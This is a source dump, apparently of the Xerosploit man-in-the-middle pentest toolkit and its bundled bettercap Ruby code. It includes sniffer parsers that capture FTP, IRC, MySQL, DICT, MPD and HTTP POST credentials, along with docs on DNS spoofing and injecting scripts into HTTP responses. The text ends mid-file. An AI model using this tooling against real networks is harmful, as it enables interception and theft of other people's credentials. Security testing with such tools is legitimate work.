├── tools ├── log │ └── .0 ├── files │ ├── iface.txt │ └── gateway.txt └── bettercap │ ├── modules │ ├── tmp │ │ └── .0 │ ├── .gitignore │ ├── js │ │ └── shakescreen.js │ ├── hack_title.rb │ ├── rickroll.rb │ ├── replace_images.rb │ └── replace_file.rb │ ├── lib │ ├── bettercap │ │ ├── banner │ │ ├── proxy │ │ │ ├── http │ │ │ │ ├── sslstrip │ │ │ │ │ ├── lock.ico │ │ │ │ │ └── cookiemonitor.rb │ │ │ │ ├── ssl │ │ │ │ │ ├── server.rb │ │ │ │ │ └── bettercap-ca.pem │ │ │ │ ├── modules │ │ │ │ │ ├── injectcss.rb │ │ │ │ │ ├── injecthtml.rb │ │ │ │ │ └── injectjs.rb │ │ │ │ ├── module.rb │ │ │ │ └── request.rb │ │ │ ├── tcp │ │ │ │ ├── module.rb │ │ │ │ └── proxy.rb │ │ │ └── thread_pool.rb │ │ ├── error.rb │ │ ├── version.rb │ │ ├── sniffer │ │ │ ├── parsers │ │ │ │ ├── ftp.rb │ │ │ │ ├── nntp.rb │ │ │ │ ├── irc.rb │ │ │ │ ├── mail.rb │ │ │ │ ├── custom.rb │ │ │ │ ├── url.rb │ │ │ │ ├── mysql.rb │ │ │ │ ├── teamviewer.rb │ │ │ │ ├── mpd.rb │ │ │ │ ├── post.rb │ │ │ │ ├── dict.rb │ │ │ │ ├── snpp.rb │ │ │ │ ├── whatsapp.rb │ │ │ │ ├── redis.rb │ │ │ │ ├── https.rb │ │ │ │ ├── snmp.rb │ │ │ │ ├── pgsql.rb │ │ │ │ ├── cookie.rb │ │ │ │ ├── ntlmss.rb │ │ │ │ ├── httpauth.rb │ │ │ │ ├── dhcp.rb │ │ │ │ ├── creditcard.rb │ │ │ │ ├── rlogin.rb │ │ │ │ └── base.rb │ │ │ └── sniffer.rb │ │ ├── monkey │ │ │ ├── celluloid │ │ │ │ ├── actor.rb │ │ │ │ └── io │ │ │ │ │ └── udp_socket.rb │ │ │ ├── em-proxy │ │ │ │ └── proxy.rb │ │ │ ├── system.rb │ │ │ ├── openssl │ │ │ │ └── server.rb │ │ │ └── packetfu │ │ │ │ └── pcap.rb │ │ ├── loader.rb │ │ ├── discovery │ │ │ ├── agents │ │ │ │ ├── udp.rb │ │ │ │ ├── arp.rb │ │ │ │ ├── icmp.rb │ │ │ │ └── base.rb │ │ │ └── thread.rb │ │ ├── pluggable.rb │ │ ├── network │ │ │ ├── protos │ │ │ │ ├── mysql.rb │ │ │ │ ├── snmp.rb │ │ │ │ ├── ntlm.rb │ │ │ │ ├── teamviewer.rb │ │ │ │ └── base.rb │ │ │ ├── servers │ │ │ │ ├── httpd.rb │ │ │ │ └── dnsd.rb │ │ │ ├── arp_reader.rb │ │ │ ├── network.rb │ │ │ ├── validator.rb │ │ │ └── packet_queue.rb │ │ ├── spoofers │ │ │ ├── none.rb │ │ │ ├── base.rb │ │ │ └── arp.rb │ │ ├── firewalls │ │ │ ├── redirection.rb │ │ │ ├── bsd.rb │ │ │ ├── linux.rb │ │ │ └── base.rb │ │ ├── memory.rb │ │ ├── update_checker.rb │ │ ├── shell.rb │ │ ├── options │ │ │ ├── spoof_options.rb │ │ │ ├── server_options.rb │ │ │ ├── sniff_options.rb │ │ │ └── options.rb │ │ └── logger.rb │ └── bettercap.rb │ ├── Gemfile │ ├── docs │ ├── .gitignore │ ├── _static │ │ ├── logo.png │ │ ├── favicon.png │ │ └── img │ │ │ ├── mitm.jpg │ │ │ ├── proxy.png │ │ │ ├── sslstrip2.png │ │ │ └── with-hsts.png │ ├── servers │ │ ├── dns.md │ │ └── http.md │ ├── _templates │ │ └── page.html │ ├── proxying.md │ ├── logging.md │ ├── index.rst │ ├── proxying │ │ ├── custom.md │ │ └── tcp.md │ ├── install.md │ ├── main.md │ ├── spoofing.md │ ├── contribute.md │ ├── sniffing.md │ └── intro.md │ ├── .gitignore │ ├── .github │ ├── ISSUE_TEMPLATE.md │ └── CONTRIBUTING.md │ ├── Gemfile.lock │ ├── bettercap.gemspec │ └── bin │ └── xettercap ├── debian ├── compat ├── source │ └── format ├── changelog ├── rules └── control ├── .gitattributes ├── Makefile ├── .gitignore ├── run.sh ├── README.md ├── install.py └── banner.py /tools/log/.0: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /debian/compat: -------------------------------------------------------------------------------- 1 | 9 2 | -------------------------------------------------------------------------------- /tools/files/iface.txt: -------------------------------------------------------------------------------- 1 | 0 -------------------------------------------------------------------------------- /tools/files/gateway.txt: -------------------------------------------------------------------------------- 1 | 0 -------------------------------------------------------------------------------- /debian/source/format: -------------------------------------------------------------------------------- 1 | 3.0 (native) 2 | -------------------------------------------------------------------------------- /tools/bettercap/modules/tmp/.0: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/banner: -------------------------------------------------------------------------------- 1 | 2 | 3 | -------------------------------------------------------------------------------- /tools/bettercap/Gemfile: -------------------------------------------------------------------------------- 1 | source "https://rubygems.org" 2 | gemspec 3 | -------------------------------------------------------------------------------- /tools/bettercap/docs/.gitignore: -------------------------------------------------------------------------------- 1 | _build/ 2 | .tags 3 | .DS_Store 4 | 5 | -------------------------------------------------------------------------------- /tools/bettercap/modules/.gitignore: -------------------------------------------------------------------------------- 1 | *.swp 2 | *.swo 3 | .tags* 4 | .DS_Store 5 | -------------------------------------------------------------------------------- /tools/bettercap/docs/_static/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PleXone2019/xerosploit/HEAD/tools/bettercap/docs/_static/logo.png -------------------------------------------------------------------------------- /tools/bettercap/docs/_static/favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PleXone2019/xerosploit/HEAD/tools/bettercap/docs/_static/favicon.png -------------------------------------------------------------------------------- /tools/bettercap/docs/_static/img/mitm.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PleXone2019/xerosploit/HEAD/tools/bettercap/docs/_static/img/mitm.jpg -------------------------------------------------------------------------------- /tools/bettercap/docs/_static/img/proxy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PleXone2019/xerosploit/HEAD/tools/bettercap/docs/_static/img/proxy.png -------------------------------------------------------------------------------- /tools/bettercap/docs/_static/img/sslstrip2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PleXone2019/xerosploit/HEAD/tools/bettercap/docs/_static/img/sslstrip2.png -------------------------------------------------------------------------------- /tools/bettercap/docs/_static/img/with-hsts.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PleXone2019/xerosploit/HEAD/tools/bettercap/docs/_static/img/with-hsts.png -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/proxy/http/sslstrip/lock.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PleXone2019/xerosploit/HEAD/tools/bettercap/lib/bettercap/proxy/http/sslstrip/lock.ico -------------------------------------------------------------------------------- /debian/changelog: -------------------------------------------------------------------------------- 1 | xerosploit (1.0parrot0) testing; urgency=medium 2 | 3 | * Debianize source code 4 | 5 | -- Lorenzo "Palinuro" Faletra Wed, 03 Aug 2016 13:55:46 +0200 6 | -------------------------------------------------------------------------------- /tools/bettercap/.gitignore: -------------------------------------------------------------------------------- 1 | *.swp 2 | *.swo 3 | *.gem 4 | *.sh 5 | .idea 6 | cert.crt 7 | cert.key 8 | cert.pem 9 | test_*.rb 10 | test_*.sj 11 | test_*.conf 12 | .tags* 13 | .DS_Store 14 | hosts 15 | -------------------------------------------------------------------------------- /tools/bettercap/modules/js/shakescreen.js: -------------------------------------------------------------------------------- 1 | window.onload=function() { 2 | var move=document.getElementsByTagName("body")[0]; 3 | setInterval(function() { 4 | move.style.marginTop=(move.style.marginTop=="4px")?"-4px":"4px"; 5 | }, 5); 6 | } 7 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/error.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | module BetterCap 14 | # Class used to distinghuish between handled and unhandled exceptions. 15 | class Error < StandardError; end 16 | end 17 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /debian/rules: -------------------------------------------------------------------------------- 1 | #!/usr/bin/make -f 2 | # -*- makefile -*- 3 | # Sample debian/rules that uses debhelper. 4 | # This file was originally written by Joey Hess and Craig Small. 5 | # As a special exception, when this file is copied by dh-make into a 6 | # dh-make output file, you may use that output file without restriction. 7 | # This special exception was added by Craig Small in version 0.37 of dh-make. 8 | 9 | # Uncomment this to turn on verbose mode. 10 | #export DH_VERBOSE=1 11 | 12 | %: 13 | dh $@ 14 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/version.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | module BetterCap 14 | # Current version of bettercap. 15 | VERSION = '1.5.7xerob' 16 | # Program banner. 17 | BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}") 18 | end 19 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/ftp.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Parsers 16 | # FTP authentication parser. 17 | class Ftp < Base 18 | def initialize 19 | @filters = [ /(USER|PASS)\s+.+/ ] 20 | @name = 'FTP' 21 | end 22 | end 23 | end 24 | end 25 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/nntp.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Parsers 16 | # NNTP authentication parser. 17 | class Nntp < Base 18 | def initialize 19 | @filters = [ /AUTHINFO\s+(USER|PASS)\s+.+/i ] 20 | @name = 'NNTP' 21 | end 22 | end 23 | end 24 | end 25 | -------------------------------------------------------------------------------- /tools/bettercap/.github/ISSUE_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | ### What operating system are you using and which version ? 2 | 3 | *Insert answer here* 4 | 5 | ### What Ruby version are you using ( `ruby -v` ) ? 6 | 7 | *Insert answer here* 8 | 9 | ### Is your GEM environment properly configured and updated ( `sudo gem update` ) ? 10 | 11 | *Insert answer here* 12 | 13 | ### Which version of BetterCap are you using ( `bettercap -v` ) ? 14 | 15 | *Insert answer here* 16 | 17 | ### What's the output of BetterCap while the issue happens? 18 | 19 | *Insert answer here* 20 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/irc.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Parsers 16 | # IRC protocol parser. 17 | class Irc < Base 18 | def initialize 19 | @filters = [ /NICK\s+.+/, /NS IDENTIFY\s+.+/, /nickserv :identify\s+.+/ ] 20 | @name = 'IRC' 21 | end 22 | end 23 | end 24 | end 25 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/mail.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Parsers 16 | # POP/IMAP authentication parser. 17 | class Mail < Base 18 | def initialize 19 | @filters = [ /(\d+ )?(auth|authenticate) ([a-z\-_0-9]+)/i ] 20 | @name = 'MAIL' 21 | end 22 | end 23 | end 24 | end 25 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/monkey/celluloid/actor.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | # Monkey patching to remove Internals::Logger.crash calls. 15 | module Celluloid 16 | class Actor 17 | # Handle any exceptions that occur within a running actor 18 | def handle_crash(exception) 19 | shutdown ExitEvent.new(behavior_proxy, exception) 20 | rescue 21 | end 22 | end 23 | end 24 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/monkey/em-proxy/proxy.rb: -------------------------------------------------------------------------------- 1 | class Proxy 2 | 3 | def self.start(options, &blk) 4 | # epoll is not supported on OSX! 5 | # EM.epoll 6 | EM.run do 7 | # We'll take care of this. 8 | # 9 | # trap("TERM") { stop } 10 | # trap("INT") { stop } 11 | 12 | EventMachine::start_server(options[:host], options[:port], 13 | EventMachine::ProxyServer::Connection, options) do |c| 14 | c.instance_eval(&blk) 15 | end 16 | end 17 | end 18 | 19 | def self.stop 20 | EventMachine.stop 21 | rescue 22 | end 23 | end 24 | -------------------------------------------------------------------------------- /tools/bettercap/docs/servers/dns.md: -------------------------------------------------------------------------------- 1 | DNS 2 | ============ 3 | 4 | If you want to perform DNS [spoofing](/docs/spoofing.html), you must specify the `--dns FILE` command line argument, where the `FILE` value is the name of a file composed by entries like the following: 5 | 6 | 7 | 8 | Then all you've left to do is execute: 9 | 10 | sudo bettercap --dns dns.conf 11 | 12 |
13 | 14 | #### `--dns FILE` 15 | 16 | Enable DNS server and use this file as a hosts resolution table. 17 | 18 | #### `--dns-port PORT` 19 | 20 | Set DNS server port, default to `5300`. 21 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/custom.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Parsers 16 | # Parser used when the "--custom-parser EXPRESSION" command line 17 | # argument is specified. 18 | class Custom < Base 19 | # Initialize the parser given the +filter+ Regexp object. 20 | def initialize( filter ) 21 | @filters = [ filter ] 22 | @name = 'DATA' 23 | end 24 | end 25 | end 26 | end 27 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/loader.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | # This class is responsible for dynamically loading modules. 16 | class Loader 17 | # Dynamically load a class given its +name+. 18 | # @see https://github.com/evilsocket/bettercap/issues/88 19 | def self.load(name) 20 | root = Kernel 21 | name.split('::').each do |part| 22 | root = root.const_get(part) 23 | end 24 | root 25 | end 26 | end 27 | end 28 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/monkey/celluloid/io/udp_socket.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | # Monkey patching fix for https://github.com/evilsocket/bettercap/issues/154 15 | module Celluloid 16 | module IO 17 | class UDPSocket 18 | def initialize(address_family = ::Socket::AF_INET) 19 | @socket = ::UDPSocket.new(address_family) 20 | rescue Errno::EMFILE 21 | sleep 0.5 22 | retry 23 | end 24 | end 25 | end 26 | end 27 | -------------------------------------------------------------------------------- /tools/bettercap/docs/servers/http.md: -------------------------------------------------------------------------------- 1 | HTTP 2 | ============ 3 | 4 | You want to serve your custom javascript files on the network? Maybe you wanna inject some custom script or image into HTTP responses using a [transparent proxy module](/proxying.html) but you got no public server to use? **no worries dude** :D 5 | A builtin HTTP server comes with bettercap, allowing you to serve custom contents from your own machine without installing and configuring other softwares such as Apache, nginx or lighttpd. 6 | 7 |
8 | 9 | #### `--httpd` 10 | 11 | Enable HTTP server, default to `false`. 12 | 13 | #### `--httpd-port PORT` 14 | 15 | Set HTTP server port, default to `8081`. 16 | 17 | #### `--httpd-path PATH` 18 | 19 | Set HTTP server path, default to `./`. 20 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/url.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Parsers 16 | # HTTP GET requests parser. 17 | #class Url < Base 18 | # def on_packet( pkt ) 19 | # s = pkt.to_s 20 | # if s =~ /GET\s+([^\s]+)\s+HTTP.+Host:\s+([^\s]+).+/m 21 | # host = $2 22 | # url = $1 23 | # unless url =~ /.+\.(png|jpg|jpeg|bmp|gif|img|ttf|woff|css|js).*/i 24 | # StreamLogger.log_raw( pkt, 'GET', "http://#{host}#{url}" ) 25 | # end 26 | # end 27 | # end 28 | #end 29 | end 30 | end 31 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | 3 | clean: 4 | 5 | install: 6 | chmod 755 banner.py 7 | chmod 755 install.py 8 | chmod 755 run.sh 9 | chmod 755 xerosploit.py 10 | mkdir -p $(DESTDIR)/opt/xerosploit/ 11 | mkdir -p $(DESTDIR)/usr/share/doc/xerosploit/ 12 | mkdir -p $(DESTDIR)/opt/xerosploit/tools/ 13 | mkdir -p $(DESTDIR)/usr/bin/ 14 | cp banner.py $(DESTDIR)/opt/xerosploit/ 15 | cp install.py $(DESTDIR)/opt/xerosploit/ 16 | cp LICENSE $(DESTDIR)/opt/xerosploit/ 17 | cp Makefile $(DESTDIR)/opt/xerosploit/ 18 | cp README.md $(DESTDIR)/opt/xerosploit/ 19 | cp README.md $(DESTDIR)/usr/share/doc/xerosploit/ 20 | cp run.sh $(DESTDIR)/opt/xerosploit/ 21 | cp run.sh $(DESTDIR)/usr/bin/ 22 | cp xerosploit.py $(DESTDIR)/opt/xerosploit/ 23 | cp -r tools $(DESTDIR)/opt/xerosploit/ 24 | 25 | 26 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/discovery/agents/udp.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | # Send UDP probes trying to filling the ARP table. 15 | module BetterCap 16 | module Discovery 17 | module Agents 18 | # Class responsible to send UDP probe packets to each possible IP on the network. 19 | class Udp < Discovery::Agents::Base 20 | private 21 | 22 | # Build an UDP packet for the specified +ip+ address. 23 | def get_probe( ip ) 24 | # send dummy udp packet, just to fill ARP table 25 | [ ip.to_s, 137, "\x10\x12\x85\x00\x00" ] 26 | end 27 | end 28 | end 29 | end 30 | end 31 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/mysql.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Parsers 16 | # MySQL authentication parser. 17 | class MySQL < Base 18 | def on_packet( pkt ) 19 | packet = Network::Protos::MySQL::Packet.parse( pkt.payload ) 20 | unless packet.nil? or !packet.is_auth? 21 | StreamLogger.log_raw( pkt, 'MYSQL', "#{'username'.blue}='#{packet.username.yellow}' "\ 22 | "#{'password'.blue}='#{packet.password.map { |x| sprintf("%02X", x )}.join.yellow}'" ) 23 | end 24 | end 25 | end 26 | end 27 | end 28 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/teamviewer.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Parsers 16 | # MySQL authentication parser. 17 | class TeamViewer < Base 18 | def on_packet( pkt ) 19 | begin 20 | if pkt.tcp_dst == 5938 or pkt.tcp_src == 5938 21 | packet = Network::Protos::TeamViewer::Packet.parse( pkt.payload ) 22 | unless packet.nil? 23 | StreamLogger.log_raw( pkt, 'TEAMVIEWER', "#{'version'.blue}=#{packet.version.yellow} #{'command'.blue}=#{packet.command.yellow}" ) 24 | end 25 | end 26 | rescue; end 27 | end 28 | end 29 | end 30 | end 31 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/monkey/system.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | # http://stackoverflow.com/questions/891537/detect-number-of-cpus-installed 15 | module System 16 | extend self 17 | def cpu_count 18 | return Java::Java.lang.Runtime.getRuntime.availableProcessors if defined? Java::Java 19 | return File.read('/proc/cpuinfo').scan(/^processor\s*:/).size if File.exist? '/proc/cpuinfo' 20 | require 'win32ole' 21 | WIN32OLE.connect("winmgmts://").ExecQuery("select * from Win32_ComputerSystem").NumberOfProcessors 22 | rescue LoadError 23 | Integer `sysctl -n hw.ncpu 2>/dev/null` rescue 4 24 | end 25 | end 26 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/mpd.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | 13 | module BetterCap 14 | module Parsers 15 | # Music Player Daemon (MPD) authentication parser. 16 | class Mpd < Base 17 | def initialize 18 | @name = 'MPD' 19 | end 20 | def on_packet( pkt ) 21 | begin 22 | if pkt.tcp_dst == 6600 23 | lines = pkt.to_s.split(/\r?\n/) 24 | lines.each do |line| 25 | if line =~ /password\s+(.+)$/ 26 | pass = $1 27 | StreamLogger.log_raw( pkt, @name, "password=#{pass}" ) 28 | end 29 | end 30 | end 31 | rescue 32 | end 33 | end 34 | end 35 | end 36 | end 37 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Windows image file caches 2 | Thumbs.db 3 | ehthumbs.db 4 | 5 | # Folder config file 6 | Desktop.ini 7 | 8 | # Recycle Bin used on file shares 9 | $RECYCLE.BIN/ 10 | 11 | # Windows Installer files 12 | *.cab 13 | *.msi 14 | *.msm 15 | *.msp 16 | 17 | # Windows shortcuts 18 | *.lnk 19 | 20 | # ========================= 21 | # Operating System Files 22 | # ========================= 23 | 24 | # OSX 25 | # ========================= 26 | 27 | .DS_Store 28 | .AppleDouble 29 | .LSOverride 30 | 31 | # Thumbnails 32 | ._* 33 | 34 | # Files that might appear in the root of a volume 35 | .DocumentRevisions-V100 36 | .fseventsd 37 | .Spotlight-V100 38 | .TemporaryItems 39 | .Trashes 40 | .VolumeIcon.icns 41 | 42 | # Directories potentially created on remote AFP share 43 | .AppleDB 44 | .AppleDesktop 45 | Network Trash Folder 46 | Temporary Items 47 | .apdisk 48 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/post.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | module Parsers 16 | # HTTP POST requests parser. 17 | class Post < Base 18 | def on_packet( pkt ) 19 | s = pkt.to_s 20 | if s =~ /POST\s+[^\s]+\s+HTTP.+/ 21 | begin 22 | req = BetterCap::Proxy::HTTP::Request.parse(pkt.payload) 23 | # the packet could be incomplete 24 | unless req.body.nil? or req.body.empty? 25 | StreamLogger.log_raw( pkt, "POST", req.to_url(1000) ) 26 | StreamLogger.log_post( req ) 27 | end 28 | rescue; end 29 | end 30 | end 31 | end 32 | end 33 | end 34 | -------------------------------------------------------------------------------- /debian/control: -------------------------------------------------------------------------------- 1 | Source: xerosploit 2 | Section: main/utils 3 | Priority: extra 4 | Maintainer: Lorenzo "Palinuro" Faletra 5 | Build-Depends: debhelper (>= 9) 6 | Standards-Version: 3.9.8 7 | Vcs-Git: git://github.com/parrotsec/joomlascan.git 8 | Vcs-Browser: https://github.com/ParrotSec/joomlascan 9 | 10 | Package: xerosploit 11 | Architecture: all 12 | Depends: ${misc:Depends}, python, nmap, hping3, build-essential, python-pip, ruby-dev, git, libpcap-dev, libgmp3-dev, python-tabulate, python-terminaltables 13 | Description: Xerosploit MITM framework 14 | Xerosploit is a penetration testing toolkit whose goal 15 | is to perform man in the middle attacks for testing purposes. 16 | It brings various modules that allow to realise efficient attacks, 17 | and also allows to carry out denial of service attacks and port scanning. 18 | Powered by bettercap and nmap. 19 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/sniffer/parsers/dict.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | 13 | module BetterCap 14 | module Parsers 15 | # DICT authentication parser. 16 | class Dict < Base 17 | def initialize 18 | @name = 'DICT' 19 | end 20 | def on_packet( pkt ) 21 | begin 22 | if pkt.tcp_dst == 2628 23 | lines = pkt.to_s.split(/\r?\n/) 24 | lines.each do |line| 25 | if line =~ /AUTH\s+(.+)\s+(.+)$/ 26 | user = $1 27 | pass = $2 28 | StreamLogger.log_raw( pkt, @name, "username=#{user} password=#{pass}" ) 29 | end 30 | end 31 | end 32 | rescue 33 | end 34 | end 35 | end 36 | end 37 | end 38 | -------------------------------------------------------------------------------- /tools/bettercap/docs/_templates/page.html: -------------------------------------------------------------------------------- 1 | {% extends "!page.html" %} 2 | {% block sidebartitle %} 3 | 4 | 8 | 9 | {{ super() }} 10 | {% endblock %} 11 | {% block footer %} 12 | {{ super() }} 13 | 17 | 22 | {% endblock %} 23 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/pluggable.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : evilsocket@gmail.com 8 | Blog : http://www.evilsocket.net/ 9 | 10 | This project is released under the GPL 3 license. 11 | 12 | =end 13 | 14 | module BetterCap 15 | # Simple base class for modules and plugins of various types. 16 | class Pluggable 17 | @@metadata = { 18 | 'Name' => '', 19 | 'Version' => '', 20 | 'Author' => "Simone 'evilsocket' Margaritelli", 21 | 'License' => 'GPL3', 22 | 'Description' => '' 23 | } 24 | 25 | # Define the metadata for this module. 26 | def self.meta(meta = {}) 27 | meta.each do |key,value| 28 | @@metadata[key] = value 29 | end 30 | end 31 | 32 | # Get the metadata of this module. 33 | def self.metadata 34 | @@metadata 35 | end 36 | end 37 | end 38 | -------------------------------------------------------------------------------- /tools/bettercap/lib/bettercap/monkey/openssl/server.rb: -------------------------------------------------------------------------------- 1 | # encoding: UTF-8 2 | =begin 3 | 4 | BETTERCAP 5 | 6 | Author : Simone 'evilsocket' Margaritelli 7 | Email : 